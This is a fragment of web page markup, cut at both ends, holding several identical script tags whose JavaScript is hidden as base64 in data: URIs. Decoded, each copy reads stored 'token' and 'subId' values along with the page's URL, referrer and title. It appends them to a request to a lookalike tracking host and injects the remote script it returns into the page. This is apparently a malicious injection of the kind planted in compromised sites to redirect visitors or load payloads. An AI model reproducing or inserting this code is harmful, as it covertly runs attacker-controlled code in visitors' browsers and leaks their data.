nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHd